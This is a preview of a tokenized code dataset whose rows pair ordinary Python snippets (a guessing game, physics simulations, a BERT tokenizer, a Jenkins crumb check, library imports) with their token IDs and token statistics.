content stringlengths 1 1.05M | input_ids listlengths 1 883k | ratio_char_token float64 1 22.9 | token_count int64 1 883k |
|---|---|---|---|
import random
from math import sqrt
sum = 0
for x in range(101):
sum += x
print(sum)
'''
range(101) 0-100 101
range(1,101) 1-100
range(1,101,2) 1-100 2
range(100,0,-2) 100-0 -2
'''
sum = 0
for x in range(100, 0, -2):
sum += x
print(sum)
# while
# 0-100
answer = random.randint(0, 100)
count = 0
while True:
count += 1
number = int(input("Please enter the number: "))
if number < answer:
print("more larger")
elif number > answer:
print("more smaller")
else:
print("right")
print('you got d% times to get right answer' % count)
for i in range(1, 10):
for j in range(1, i + 1):
print('%d*%d=%d' % (i, j, i * j), end='\t')
print()
#
num = int(input(': '))
end = int(sqrt(num))
is_prime = True
# end sqrt
# sqrt
for x in range(2, end + 1):
if num % x == 0:
is_prime = False
break
if is_prime and num != 1:
print('%d' % num)
else:
print('%d' % num)
| [
11748,
4738,
198,
6738,
10688,
1330,
19862,
17034,
198,
198,
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796,
657,
198,
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287,
2837,
7,
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220,
220,
220,
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16345,
8,
198,
7061,
6,
198,
9521,
7,
8784,
8,
220,
657,
... | 2.158371 | 442 |
# Copyright (C) 2018, HTCondor Team, Computer Sciences Department,
# University of Wisconsin-Madison, WI.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you
# may not use this file except in compliance with the License. You may
# obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import absolute_import
from builtins import str
import sys
import os
import logging
import time
import math
from toil.batchSystems.abstractGridEngineBatchSystem import AbstractGridEngineBatchSystem
import htcondor
import classad
logger = logging.getLogger(__name__)
| [
2,
15069,
357,
34,
8,
2864,
11,
22063,
623,
273,
4816,
11,
13851,
13473,
2732,
11,
198,
2,
2059,
286,
9279,
12,
46845,
11,
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13,
198,
2,
198,
2,
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739,
262,
24843,
13789,
11,
10628,
362,
13,
15,
357,
1169,
366,
34156,
... | 3.741036 | 251 |
# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Modified from espnet(https://github.com/espnet/espnet)
"""Tacotron2 decoder related modules."""
import paddle
import paddle.nn.functional as F
import six
from paddle import nn
from paddlespeech.t2s.modules.tacotron2.attentions import AttForwardTA
| [
2,
15069,
357,
66,
8,
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350,
37382,
47,
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46665,
13,
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13,
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198,
2,
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739,
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13789,
11,
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362,
13,
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357,
1169,
366,
34156,
15341,
198,
2,
345,
743,
407,
779,
428,
2393,
2845... | 3.585062 | 241 |
from .api import run_query_get_token
from .api import convert_to_dask
from .api import run_query_get_results
from .api import run_query_get_concat_results
from .api import register_file_system
from .api import deregister_file_system
from .api import FileSystemType, DriverType, EncryptionType
from .api import SchemaFrom
from .api import create_table
from .api import ResultSetHandle
from .api import _get_client
from .api import gdf_dtype
from .api import get_dtype_values
from .api import get_np_dtype_to_gdf_dtype
from .api import SetupOrchestratorConnection
from .apiv2.context import make_default_orc_arg
from .apiv2.context import make_default_csv_arg
| [
6738,
764,
15042,
1330,
1057,
62,
22766,
62,
1136,
62,
30001,
198,
6738,
764,
15042,
1330,
10385,
62,
1462,
62,
67,
2093,
198,
6738,
764,
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1330,
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62,
22766,
62,
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62,
43420,
198,
6738,
764,
15042,
1330,
1057,
62,
22766,... | 3.22439 | 205 |
# Jeonghyun Kim, UVR KAIST @jeonghyunct.kaist.ac.kr
import os, sys
import json
import h5py
import numpy as np
import quaternion
import torch
from torch.utils.data import Dataset
BASE_DIR_1 = os.path.dirname(os.path.abspath(__file__)) # scan2cad
BASE_DIR = os.path.dirname(BASE_DIR_1) # dataset
ROOT_DIR = os.path.dirname(BASE_DIR) # PointGroup
DATA_DIR = os.path.dirname(ROOT_DIR) # /root/
DATA_DIR = os.path.join(DATA_DIR, 'Dataset') # /root/Dataset
DUMP_DIR = os.path.join(ROOT_DIR, 'data')
sys.path.append(BASE_DIR)
sys.path.append(ROOT_DIR)
from s2c_map import CLASS_MAPPING, ID2NAME, CARED_CLASS_MASK
from s2c_config import Scan2CADDatasetConfig
import s2c_utils
sys.path.append(os.path.join(ROOT_DIR, 'models/retrieval/'))
DC = Scan2CADDatasetConfig()
MAX_NUM_POINT = 50000
MAX_NUM_OBJ = 64
INS_NUM_POINT = 2048
FEATURE_DIMENSION = 512
MAX_DATA_SIZE = 15000
CHUNK_SIZE = 1000
INF = 9999
NOT_CARED_ID = np.array([INF]) # wall, floor
# Thresholds
PADDING = 0.05
SCALE_THRASHOLD = 0.05
SEG_THRESHOLD = 1
REMAPPER = np.ones(35, dtype=np.int64) * (-1)
for i, x in enumerate(CARED_CLASS_MASK):
REMAPPER[x] = i
print(f'REMAPPER[{x:2d}] => {i:2d}')
SYM2CLASS = {"__SYM_NONE": 0, "__SYM_ROTATE_UP_2": 1, "__SYM_ROTATE_UP_4": 2, "__SYM_ROTATE_UP_INF": 3}
# functions ==============================================================================================
# ========================================================================================================
LOG_N = 100
if __name__ == "__main__":
Dataset = Scan2CADCollect(split_set='all', distr_check=True)
N = len(Dataset)
Dataset.collect(N, dump=False) | [
2,
3852,
19757,
88,
403,
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198,
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299,
32152,
... | 2.422741 | 686 |
#!/usr/bin/env python
"""
Compute diffusion coefficient from MSD data.
Time interval, DT, is obtained from in.pmd in the same directory.
Usage:
msd2diff.py [options] MSD_FILE
Options:
-h, --help Show this message and exit.
-o, --offset OFFSET
Offset of given data. [default: 0]
--plot Plot a fitted graph. [default: False]
"""
from __future__ import print_function
import os,sys
from docopt import docopt
import numpy as np
__author__ = "RYO KOBAYASHI"
__version__ = "191212"
def msd2D(ts,msds,fac,dim=3):
"""
Compute diffusion coefficient from time [fs] vs MSD [Ang^2] data
by solving least square problem using numpy.
Return diffusion coefficient multiplied by FAC.
"""
A= np.array([ts, np.ones(len(ts))])
A = A.T
xvar = np.var(A[:,0])
p,res,_,_ = np.linalg.lstsq(A,msds,rcond=None)
a = p[0]
b = p[1]
# fac = 1.0e-16 /1.e-15
a = a *fac /(2.0*dim)
b = b *fac
# print(res[0],xvar,np.mean(A[:,0]),len(ts))
std = np.sqrt(res[0]/len(ts)/xvar) *fac /(2.0*dim)
return a,b,std
if __name__ == "__main__":
args = docopt(__doc__)
fname = args['MSD_FILE']
offset = int(args['--offset'])
plot = args['--plot']
ts,msds = read_out_msd(fname,offset)
#...Assuming input MSD unit in A^2/fs and output in cm^2/s
fac = 1.0e-16 /1.0e-15
#...Least square
a,b,std = msd2D(ts,msds,fac)
print(' Diffusion coefficient = {0:12.4e}'.format(a)+
' +/- {0:12.4e} [cm^2/s]'.format(std))
if plot:
import matplotlib.pyplot as plt
import seaborn as sns
sns.set(context='talk',style='ticks')
#...Original time unit == fs
unit = 'fs'
tfac = 1.0
if ts[-1] > 1.0e+5: #...if max t > 100ps, time unit in ps
unit = 'ps'
tfac = 1.0e-3
plt.xlabel('Time ({0:s})'.format(unit))
plt.ylabel('MSD (A^2/{0:s})'.format(unit))
fvals = np.array([ (t*a+b)/fac for t in ts ])
plt.plot(ts*tfac,msds/tfac,'b-',label='MSD data')
plt.plot(ts*tfac,fvals/tfac,'r-',label='Fitted curve')
plt.savefig("graph_msd2D.png", format='png',
dpi=300, bbox_inches='tight')
print(' Wrote graph_msd2D.png')
| [
2,
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14629,
14,
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14,
24330,
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198,
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198,
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35381,
422,
6579,
35,
1366,
13,
198,
7575,
16654,
11,
24311,
11,
318,
6492,
422,
287,
13,
4426,
67,
287,
262,
976,
8619,
13,
198,
198,
28350,
25,
198,
... | 2.047059 | 1,105 |
import os
f = open(os.path.join(os.path.dirname(__file__), '../input/5/part2.txt'), 'r')
if __name__ == '__main__':
main()
| [
11748,
28686,
198,
198,
69,
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1280,
7,
418,
13,
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13,
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7,
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13,
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13,
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3672,
7,
834,
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834,
828,
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14,
20,
14,
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17,
13,
14116,
33809,
705,
81,
11537,
628,
628,
198,
361,
11593,
... | 2.258621 | 58 |
import behave
| [
11748,
17438,
628,
198
] | 4 | 4 |
"""Tests camera and system functions."""
import unittest
from unittest import mock
from blinkpy.blinkpy import Blink
from blinkpy.helpers.util import BlinkURLHandler
from blinkpy.sync_module import BlinkSyncModule, BlinkOwl
from blinkpy.camera import BlinkCamera, BlinkCameraMini
| [
37811,
51,
3558,
4676,
290,
1080,
5499,
526,
15931,
198,
11748,
555,
715,
395,
198,
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555,
715,
395,
1330,
15290,
198,
198,
6738,
21019,
9078,
13,
2436,
676,
9078,
1330,
41732,
198,
6738,
21019,
9078,
13,
16794,
364,
13,
22602,
13... | 3.76 | 75 |
from __future__ import absolute_import
import numpy as np
from openmdao.api import Group
from .dynamic_pressure_comp import DynamicPressureComp
from .lift_drag_force_comp import LiftDragForceComp
from .cd0_comp import CD0Comp
from .kappa_comp import KappaComp
from .cla_comp import CLaComp
from .cl_comp import CLComp
from .cd_comp import CDComp
from .mach_comp import MachComp
| [
6738,
11593,
37443,
834,
1330,
4112,
62,
11748,
198,
198,
11748,
299,
32152,
355,
45941,
198,
198,
6738,
1280,
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5488,
13,
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1330,
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198,
198,
6738,
764,
67,
28995,
62,
36151,
62,
5589,
1330,
26977,
13800,
495,
7293,
198,
... | 3.237288 | 118 |
import matplotlib.pyplot as plt
import argparse, csv, numpy, time, os, re
if __name__ == "__main__":
parser = argparse.ArgumentParser(description = 'Plotter for the Software Benchmarking Script')
parser.add_argument('-f', help='Results file as input (in csv format)')
parser.add_argument('-t', help='Name of tool', default=None)
parser.add_argument('--wincntxmnu', help='Indicates SBS stats was launched from the Windows context menu. See README for help.', action='store_true')
args = parser.parse_args()
# Not used
#if args.wincntxmnu:
# args.t = raw_input('Enter the plot prefix: ')
main(args.f, args.t)
| [
11748,
2603,
29487,
8019,
13,
9078,
29487,
355,
458,
83,
198,
11748,
1822,
29572,
11,
269,
21370,
11,
299,
32152,
11,
640,
11,
28686,
11,
302,
628,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
220,
220,
30... | 2.771186 | 236 |
# -*- coding: utf-8 -*-
# ===== Default imports =====
import asyncio
import logging
# ===== External libs imports =====
from aiogram import Bot, Dispatcher, types
from aiogram.dispatcher import FSMContext
# ===== Local imports =====
from analytics import BotAnalytics
from db_manager import DbManager
from lang_manager import LangManager
from markups_manager import MarkupManager
from states.Dictionary import DictionaryQuizState, DictionaryState, DictionaryEditWordState, DictionarySearchWordState
from states.Mailing import AdminMailingState
import pagination
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
2,
29335,
15161,
17944,
29335,
198,
198,
11748,
30351,
952,
198,
11748,
18931,
198,
198,
2,
29335,
34579,
9195,
82,
17944,
29335,
198,
198,
6738,
257,
72,
21857,
13... | 3.89726 | 146 |
# 6.
# , N, , ""
# 1111 9999. , :
# N .
# : N = 16, 2418 :
# 16 / 2 = 8
# 16 / 4 = 4
# 16 / 1 = 16
# 16 / 8 = 2
N = int(input())
for number in range(1111, 9999 + 1):
is_number_special = True
number_as_string = str(number)
# Could also write for index, digit in enumerate(number_as_string): but since we don't need the index we don't need enumerate.
for digit in number_as_string:
if int(digit) == 0 or N % int(digit) != 0:
is_number_special = False
break
if is_number_special:
print(f'{number_as_string}', end = ' ')
| [
2,
718,
13,
197,
220,
198,
2,
220,
220,
220,
837,
220,
220,
220,
220,
220,
399,
11,
220,
220,
837,
220,
220,
220,
220,
13538,
198,
2,
220,
220,
13374,
16,
220,
860,
17032,
13,
220,
220,
220,
220,
220,
837,
220,
220,
220,
220,
... | 2.031847 | 314 |
import pytest
import numbers
import numpy as np
from numpy.testing import assert_raises
from numpy.testing import assert_array_equal
from numpy.testing import assert_equal
from numpy.testing import assert_raises_regex
from skopt.space import LogN, Normalize
| [
11748,
12972,
9288,
198,
11748,
3146,
198,
11748,
299,
32152,
355,
45941,
198,
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299,
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13,
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430,
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13,
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1330,
6818,
62,
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62,
40496,
198,
6738,
299,
32152,
13,
33407,... | 3.575342 | 73 |
# coding=utf-8
# Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Tokenization classes."""
from __future__ import absolute_import, division, print_function, unicode_literals
import collections
import logging
import os
import sys
import unicodedata
from io import open
from transformers import PreTrainedTokenizer
logger = logging.getLogger(__name__)
VOCAB_FILES_NAMES = {'vocab_file': 'vocab.txt'}
PRETRAINED_VOCAB_FILES_MAP = {
'vocab_file':
{
'bert-base-uncased': "https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-uncased-vocab.txt",
'bert-large-uncased': "https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-vocab.txt",
'bert-base-cased': "https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-vocab.txt",
'bert-large-cased': "https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-vocab.txt",
'bert-base-multilingual-uncased': "https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-uncased-vocab.txt",
'bert-base-multilingual-cased': "https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-cased-vocab.txt",
'bert-base-chinese': "https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-chinese-vocab.txt",
'bert-base-german-cased': "https://int-deepset-models-bert.s3.eu-central-1.amazonaws.com/pytorch/bert-base-german-cased-vocab.txt",
'bert-large-uncased-whole-word-masking': "https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-vocab.txt",
'bert-large-cased-whole-word-masking': "https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-vocab.txt",
'bert-large-uncased-whole-word-masking-finetuned-squad': "https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-finetuned-squad-vocab.txt",
'bert-large-cased-whole-word-masking-finetuned-squad': "https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-finetuned-squad-vocab.txt",
'bert-base-cased-finetuned-mrpc': "https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-finetuned-mrpc-vocab.txt",
}
}
PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES = {
'bert-base-uncased': 512,
'bert-large-uncased': 512,
'bert-base-cased': 512,
'bert-large-cased': 512,
'bert-base-multilingual-uncased': 512,
'bert-base-multilingual-cased': 512,
'bert-base-chinese': 512,
'bert-base-german-cased': 512,
'bert-large-uncased-whole-word-masking': 512,
'bert-large-cased-whole-word-masking': 512,
'bert-large-uncased-whole-word-masking-finetuned-squad': 512,
'bert-large-cased-whole-word-masking-finetuned-squad': 512,
'bert-base-cased-finetuned-mrpc': 512,
}
def load_vocab(vocab_file):
"""Loads a vocabulary file into a dictionary."""
vocab = collections.OrderedDict()
with open(vocab_file, "r", encoding="utf-8") as reader:
tokens = reader.readlines()
for index, token in enumerate(tokens):
token = token.rstrip('\n')
vocab[token] = index
return vocab
def whitespace_tokenize(text):
"""Runs basic whitespace cleaning and splitting on a piece of text."""
text = text.strip()
if not text:
return []
tokens = text.split()
return tokens
# _numbers = '[0-9]*\.?[0-9]+([eE][-+]?[0-9]+)?'
# fraction_pattern = re.compile(_fraction)
# number_pattern = re.compile(_numbers)
def _is_whitespace(char):
"""Checks whether `chars` is a whitespace character."""
# \t, \n, and \r are technically contorl characters but we treat them
# as whitespace since they are generally considered as such.
if char == " " or char == "\t" or char == "\n" or char == "\r":
return True
cat = unicodedata.category(char)
if cat == "Zs":
return True
return False
def _is_control(char):
"""Checks whether `chars` is a control character."""
# These are technically control characters but we count them as whitespace
# characters.
if char == "\t" or char == "\n" or char == "\r":
return False
cat = unicodedata.category(char)
if cat.startswith("C"):
return True
return False
def _is_punctuation(char):
"""Checks whether `chars` is a punctuation character."""
cp = ord(char)
# We treat all non-letter/number ASCII as punctuation.
# Characters such as "^", "$", and "`" are not in the Unicode
# Punctuation class but we treat them as punctuation anyways, for
# consistency.
if ((cp >= 33 and cp <= 47) or (cp >= 58 and cp <= 64) or
(cp >= 91 and cp <= 96) or (cp >= 123 and cp <= 126)):
return True
cat = unicodedata.category(char)
# if cat.startswith("P") and cp != 46:
if cat.startswith("P"):
return True
return False
################
#
Small = {
'zero': 0.0,
'one': 1.0,
'two': 2.0,
'three': 3.0,
'four': 4.0,
'five': 5.0,
'six': 6.0,
'seven': 7.0,
'eight': 8.0,
'nine': 9.0,
'ten': 10.0,
'eleven': 11.0,
'twelve': 12.0,
'thirteen': 13.0,
'fourteen': 14.0,
'fifteen': 15.0,
'sixteen': 16.0,
'seventeen': 17.0,
'eighteen': 18.0,
'nineteen': 19.0,
'twenty': 20.0,
'thirty': 30.0,
'forty': 40.0,
'fifty': 50.0,
'sixty': 60.0,
'seventy': 70.0,
'eighty': 80.0,
'ninety': 90.0
}
Magnitude = {
'thousand': 1000.0,
'million': 1000000.0,
'billion': 1000000000.0,
'trillion': 1000000000000.0,
'quadrillion': 1000000000000000.0,
'quintillion': 1000000000000000000.0,
'sextillion': 1000000000000000000000.0,
'septillion': 1000000000000000000000000.0,
'octillion': 1000000000000000000000000000.0,
'nonillion': 1000000000000000000000000000000.0,
}
def preprocess(sent, remove_pos=False, never_split=None):
"""
Preprocess the sentence by:
. remove commas from numbers (2,000 -> 2000)
. remove endings from ordinal numbers (2nd -> 2)
. convert "a {hundred,thousand...}" to "one {hundred,thousand,...}" so it can be handled by text2num function
. convert "digit digitword" (24 hundred) -> 2400
and return the sentence's preprocessed list of words that should be passed into text2num.
"""
if remove_pos:
words = [word[:word.rfind('_')] for word in sent.strip().split()]
else:
words = [word for word in sent.strip().split()]
tokenizer = BasicTokenizer(do_lower_case=True, never_split=never_split)
words = tokenizer.tokenize(sent)
# sent = ' '.join(tokens)
words_lower = [word.lower() for word in words]
# remove commas from numbers "2,000" -> 2000 and remove endings from ordinal numbers
for i in range(len(words)):
new_word = words_lower[i].replace(',', '')
if new_word.endswith(('th', 'rd', 'st', 'nd')):
new_word = new_word[:-2]
try:
if new_word not in ['infinity', 'inf', 'nan']:
int_word = float(new_word)
# words[i] = str(int_word)
words[i] = new_word
except ValueError:
pass # only modify this word if it's an int after preprocessing
Magnitude_with_hundred = Magnitude.copy()
Magnitude_with_hundred['hundred'] = 100
# convert "a {hundred,thousand,million,...}" to "one {hundred,thousand,million,...}"
for i in range(len(words)-1):
if words_lower[i] == 'a' and words_lower[i+1] in Magnitude_with_hundred:
words[i] = 'one'
# convert "24 {Magnitude}" -> 24000000000000 (mix of digits and words)
new_words = []
sigs = []
i = 0
while i < len(words)-1:
if check_int(words_lower[i]) and words_lower[i+1] in Magnitude_with_hundred:
new_words.append(str(float(words_lower[i]) * Magnitude_with_hundred[words_lower[i+1]]))
sigs.append(f'{words_lower[i]} {words_lower[i+1]}')
i += 1
else:
new_words.append(words[i])
sigs.append('')
if i == len(words) - 2:
new_words.append(words[i+1])
sigs.append('')
i += 1
return new_words, sigs
#
#
def normalize_numbers_in_sent(sent, remove_pos=False, never_split=None):
"""
Given a sentence, perform preprocessing and normalize number words to digits.
:param sent: sentence (str)
:return: a list of normalized words from the sentence
"""
out_words = []
words, sigfigs = preprocess(sent, remove_pos, never_split)
out_sigfigs = []
i = 0
while i < len(words):
for j in range(len(words), i, -1):
try:
number = str(text2num(words[i:j]))
if sigfigs[i] == '':
out_sigfigs.append(' '.join(words[i:j]))
else:
out_sigfigs.append(sigfigs[i])
out_words.append(number)
i = j-1 # skip this sequence since we replaced it with a number
break
except NumberException:
if j == i+1:
out_sigfigs.append('-1')
out_words.append(words[i])
i += 1
assert len(out_sigfigs) == len(out_words)
return out_words, out_sigfigs | [
2,
19617,
28,
40477,
12,
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198,
2,
15069,
2864,
383,
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11,
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362,
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15,
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1169,
366,
34156,
... | 2.324895 | 4,266 |
import numpy as np
import multiprocessing as mp
import pyfftw
from numpy import pi, exp, sqrt, sin, cos, conj, arctan, tanh, tan
from numpy import heaviside as heav
from include import helper
import h5py
# ---------Spatial and potential parameters--------------
Mx = My = 64
Nx = Ny = 128 # Number of grid pts
dx = dy = 1 / 2 # Grid spacing
dkx = pi / (Mx * dx)
dky = pi / (My * dy) # K-space spacing
len_x = Nx * dx # Box length
len_y = Ny * dy
x = np.arange(-Mx, Mx) * dx
y = np.arange(-My, My) * dy
X, Y = np.meshgrid(x, y) # Spatial meshgrid
data = h5py.File('../data/splitting_dipole_data.hdf5', 'a')
data.create_dataset('grid/x', x.shape, data=x)
data.create_dataset('grid/y', y.shape, data=y)
kx = np.fft.fftshift(np.arange(-Mx, Mx) * dkx)
ky = np.fft.fftshift(np.arange(-My, My) * dky)
Kx, Ky = np.meshgrid(kx, ky) # K-space meshgrid
# Initialising FFTs
cpu_count = mp.cpu_count()
wfn_data = pyfftw.empty_aligned((Nx, Ny), dtype='complex128')
fft_forward = pyfftw.FFTW(wfn_data, wfn_data, axes=(0, 1), threads=cpu_count)
fft_backward = pyfftw.FFTW(wfn_data, wfn_data, direction='FFTW_BACKWARD', axes=(0, 1), threads=cpu_count)
# Framework for wavefunction data
psi_plus_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128')
psi_0_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128')
psi_minus_k = pyfftw.empty_aligned((Nx, Ny), dtype='complex128')
# Controlled variables
V = 0. # Doubly periodic box
p = q = 0.
c0 = 2
c1 = 0.5 # Effective 3-component BEC
k = 0 # Array index
# ------------------------------ Generating SQV's -------------------------
# Euler angles
alpha = 0.
beta = pi / 4
gamma = 0.
N_vort = 2 # Number of vortices
pos = [-10, 0, 10, 0]
theta_k = np.empty((N_vort, Nx, Ny))
theta_tot = np.empty((Nx, Ny))
for k in range(N_vort // 2):
# Scaling positional arguments
Y_minus = 2 * pi * (Y - pos[k]) / len_y
X_minus = 2 * pi * (X - pos[N_vort // 2 + k]) / len_x
Y_plus = 2 * pi * (Y - pos[N_vort + k]) / len_y
X_plus = 2 * pi * (X - pos[3 * N_vort // 2 + k]) / len_x
x_plus = 2 * pi * pos[3 * N_vort // 2 + k] / len_x
x_minus = 2 * pi * pos[N_vort // 2 + k] / len_x
for nn in np.arange(-5, 5):
theta_k[k, :, :] += arctan(
tanh((Y_minus + 2 * pi * nn) / 2) * tan((X_minus - pi) / 2)) \
- arctan(tanh((Y_plus + 2 * pi * nn) / 2) * tan((X_plus - pi) / 2)) \
+ pi * (heav(X_plus, 1.) - heav(X_minus, 1.))
theta_k[k, :, :] -= (2 * pi * Y / len_y) * (x_plus - x_minus) / (2 * pi)
theta_tot += theta_k[k, :, :]
# Initial wavefunction
Psi = np.empty((3, Nx, Ny), dtype='complex128')
Psi[0, :, :] = np.zeros((Nx, Ny)) + 0j
Psi[1, :, :] = np.ones((Nx, Ny), dtype='complex128') * exp(1j * theta_tot)
Psi[2, :, :] = np.zeros((Nx, Ny)) + 0j
psi_plus, psi_0, psi_minus = helper.rotation(Psi, Nx, Ny, alpha, beta, gamma) # Performs rotation to wavefunction
# Aligning wavefunction to potentially speed up FFTs
pyfftw.byte_align(psi_plus)
pyfftw.byte_align(psi_0)
pyfftw.byte_align(psi_minus)
# ------------------------------------------------------------------------
# Normalisation constants
N_plus = dx * dy * np.linalg.norm(psi_plus) ** 2
N_0 = dx * dy * np.linalg.norm(psi_0) ** 2
N_minus = dx * dy * np.linalg.norm(psi_minus) ** 2
# Time steps, number and wavefunction save variables
Nt = 80000
Nframe = 200
dt = 5e-3
t = 0.
# Saving time variables:
data.create_dataset('time/Nt', data=Nt)
data.create_dataset('time/dt', data=dt)
data.create_dataset('time/Nframe', data=Nframe)
# Setting up variables to be sequentially saved:
psi_plus_save = data.create_dataset('wavefunction/psi_plus', (Nx, Ny, Nt/Nframe), dtype='complex128')
psi_0_save = data.create_dataset('wavefunction/psi_0', (Nx, Ny, Nt/Nframe), dtype='complex128')
psi_minus_save = data.create_dataset('wavefunction/psi_minus', (Nx, Ny, Nt/Nframe), dtype='complex128')
for i in range(Nt):
# Spin vector terms:
F_perp = sqrt(2.) * (conj(psi_plus) * psi_0 + conj(psi_0) * psi_minus)
Fz = abs(psi_plus) ** 2 - abs(psi_minus) ** 2
F = sqrt(abs(Fz) ** 2 + abs(F_perp) ** 2) # Magnitude of spin vector
# Total density
n = abs(psi_minus) ** 2 + abs(psi_0) ** 2 + abs(psi_plus) ** 2
# Sin and cosine terms for solution
C = cos(c1 * F * (-1j * dt))
if F.min() == 0:
S = np.zeros((Nx, Ny), dtype='complex128') # Ensures no division by zero
else:
S = 1j * sin(c1 * F * (-1j * dt)) / F
# Forward FFTs
fft_forward(psi_plus, psi_plus_k)
fft_forward(psi_0, psi_0_k)
fft_forward(psi_minus, psi_minus_k)
# Computing kinetic energy + quadratic Zeeman
psi_plus_k *= exp(-0.25 * dt * (Kx ** 2 + Ky ** 2 + 2 * q)) / (Nx * Ny)
psi_0_k *= exp(-0.25 * dt * (Kx ** 2 + Ky ** 2)) / (Nx * Ny)
psi_minus_k *= exp(-0.25 * dt * (Kx ** 2 + Ky ** 2 + 2 * q)) / (Nx * Ny)
# Inverse FFTs
fft_backward(psi_plus_k, psi_plus)
fft_backward(psi_0_k, psi_0)
fft_backward(psi_minus_k, psi_minus)
# Rescaling
psi_plus *= (Nx * Ny)
psi_0 *= (Nx * Ny)
psi_minus *= (Nx * Ny)
# Trap, linear Zeeman & interaction flow
psi_plus = ((C - S * Fz) * psi_plus - 1. / sqrt(2.) * S * conj(F_perp) * psi_0) * exp(-dt * (V - p + c0 * n))
psi_0 = (-1. / sqrt(2.) * S * F_perp * psi_plus + C * psi_0 - 1. / sqrt(2.) * S * conj(F_perp) * psi_minus) \
* exp(-dt * (V + c0 * n))
psi_minus = (-1. / sqrt(2.) * S * F_perp * psi_0 + (C + S * Fz) * psi_minus) * exp(-dt * (V + p + c0 * n))
# Forward FFTs
fft_forward(psi_plus, psi_plus_k)
fft_forward(psi_0, psi_0_k)
fft_forward(psi_minus, psi_minus_k)
# Computing kinetic energy + quadratic Zeeman
psi_plus_k *= exp(-0.25 * dt * (Kx ** 2 + Ky ** 2 + 2 * q)) / (Nx * Ny)
psi_0_k *= exp(-0.25 * dt * (Kx ** 2 + Ky ** 2)) / (Nx * Ny)
psi_minus_k *= exp(-0.25 * dt * (Kx ** 2 + Ky ** 2 + 2 * q)) / (Nx * Ny)
# Inverse FFTs
fft_backward(psi_plus_k, psi_plus)
fft_backward(psi_0_k, psi_0)
fft_backward(psi_minus_k, psi_minus)
# Rescaling
psi_plus *= (Nx * Ny)
psi_0 *= (Nx * Ny)
psi_minus *= (Nx * Ny)
# Renormalizing wavefunction
psi_plus *= sqrt(N_plus) / sqrt(dx * dy * np.linalg.norm(psi_plus) ** 2)
psi_0 *= sqrt(N_0) / sqrt(dx * dy * np.linalg.norm(psi_0) ** 2)
psi_minus *= sqrt(N_minus) / sqrt(dx * dy * np.linalg.norm(psi_minus) ** 2)
# Prints current time and saves data to an array
if np.mod(i, Nframe) == 0:
print('it = %1.4f' % t)
psi_plus_save[:, :, k] = psi_plus[:, :]
psi_0_save[:, :, k] = psi_0[:, :]
psi_minus_save[:, :, k] = psi_minus[:, :]
k += 1
t += dt
data.close()
| [
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299,
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355,
45941,
198,
11748,
18540,
305,
919,
278,
355,
29034,
198,
11748,
12972,
487,
4246,
198,
6738,
299,
32152,
1330,
31028,
11,
1033,
11,
19862,
17034,
11,
7813,
11,
8615,
11,
11644,
11,
610,
310,
272,
11,
25706,
71... | 2.133886 | 3,137 |
from __future__ import print_function
import requests
import sys
import os
verbose=True
try:
username=os.environ['USERNAME']
password=os.environ['PASSWORD']
except:
print("Crumb Diaganostic requires USERNAME/PASSWORD to be set as environment variables")
sys.exit(-1)
jenkins_url=os.environ['JENKINS_URL']
url = jenkins_url + 'crumbIssuer/api/xml?xpath=concat(//crumbRequestField,":",//crumb)'
print(url)
if username:
crumb = requests.get(url, auth=(username, password))
if crumb.status_code == 200:
crumb_headers = dict()
crumb_headers[crumb.text.split(":")[0]] = crumb.text.split(":")[1]
if verbose:
print("Got crumb: %s" % crumb.text)
else:
print("Failed to get crumb")
print("\nYou may need to enable \"Prevent Cross Site Request Forgery exploits\" from:")
print("Manage Jenkins > Configure Global Security > CSRF Protection and select the appropriate Crumb Algorithm")
print(jenkins_url + "/configureSecurity")
sys.exit(-1)
| [
6738,
11593,
37443,
834,
1330,
3601,
62,
8818,
198,
11748,
7007,
198,
11748,
25064,
198,
11748,
28686,
198,
198,
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577,
28,
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198,
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25,
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220,
220,
220,
20579,
28,
418,
13,
268,
2268,
17816,
29904,
20608,
20520,
198,
... | 2.5825 | 400 |
# -*- coding: utf-8 -*-
for i in range(int(raw_input())):
x, y = [int(x) for x in raw_input().split()]
if x > y:
x, y = y, x
x += 1 if x % 2 == 0 else 2
print sum([j for j in range(x, y, 2)])
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
1640,
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796,
